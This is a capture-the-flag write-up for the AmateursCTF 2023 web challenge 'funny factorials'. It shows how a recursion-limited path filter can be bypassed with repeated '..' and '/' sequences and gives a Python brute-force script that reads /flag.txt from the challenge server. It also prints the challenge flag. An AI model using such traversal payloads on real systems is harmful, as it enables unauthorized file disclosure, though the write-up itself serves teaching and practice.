Post

AmateursCTF 2023 - funny factorials

Description

Category: web

I made a factorials app! It’s so fancy and shmancy. However factorials don’t seem to properly compute at big numbers! Can you help me fix it?

Link : funny-factorials.amt.rs

Downloads:

1. Analysis

The goal is to display flag.txt.

From the Dockerfile, we know that:

  • the working directory of the app is /app;
  • the path to the flag is /flag.txt

The web app loads styles from path provided in the theme parameter but the path is filtered by the function filter_path.

Our goad is to inject ../flag.txt to the theme parameter to display the flag.

2. Testing

Let’s do some test on the function filter_path.

The payload has the form: n*".." + n*"/" (n is the number of repetition) given that when the function removes one ../, it will leave another one ../.

For example: ....//flag.txt becomes ../flag.txt after filtering.

Let’s compute the number of repetition n needed for a fixed recursion limit N to get the right path:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
import sys
N = 100
sys.setrecursionlimit(N)

def filter_path(path):
    path = path.replace("../", "")
    try:
        return filter_path(path)
    except RecursionError:
        #remove root / from path if it exists
        if path[0] == "/":
            path = path[1:]
        return path

for n in range(N):
    if filter_path(n*".." + n*"/" + "flag.txt") == "../flag.txt":
        print(f"Stopped at n={n}")
        break

Result: Stopped at n=90

When we increase the recursion limit, we notice that n is always lower than N.

3. Resolution

We can use the previous observation to bruteforce until the filter_path returns ../flag.txt on the server:

1
2
3
4
5
6
7
8
9
10
11
12
13
import requests

for n in range(100):
    payload = n*".." +n*"/" + "flag.txt"
    
    data = {'number': '1'} # Avoid recursion
    
    response = requests.post('https://funny-factorials.amt.rs/?theme='+payload, data=data)
    
    # When the payload is invalid, the server returns an error code
    if response.ok:
        print(response.text)
        break

After a while, we got a valid response (n=81):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<!DOCTYPE html>
<html>
  <head>
    <title>Factorial Calculator</title>
    <!-- inline styles passed into the template -->
    <style>
        amateursCTF{h1tt1ng_th3_r3curs10n_l1mt_1s_1mp0ssibl3}
    </style>
  </head>
  <body>
    <h1>Factorial Calculator</h1>
    <form method="POST">
      <label for="number">Enter a number:</label>
      <input type="text" name="number" id="number" />
      <input type="submit" value="Calculate" />
    </form>
    
    <p>The factorial of  is 1.</p>
    
    <p>Available themes:</p>
        <a href="?theme=themes/theme1.css">cool</a>
        <a href="?theme=themes/theme2.css">warm</a>
    <ul></ul>
  </body>
</html>

We get the flag between the style tags: amateursCTF{h1tt1ng_th3_r3curs10n_l1mt_1s_1mp0ssibl3}

This post is licensed under CC BY 4.0 by the author.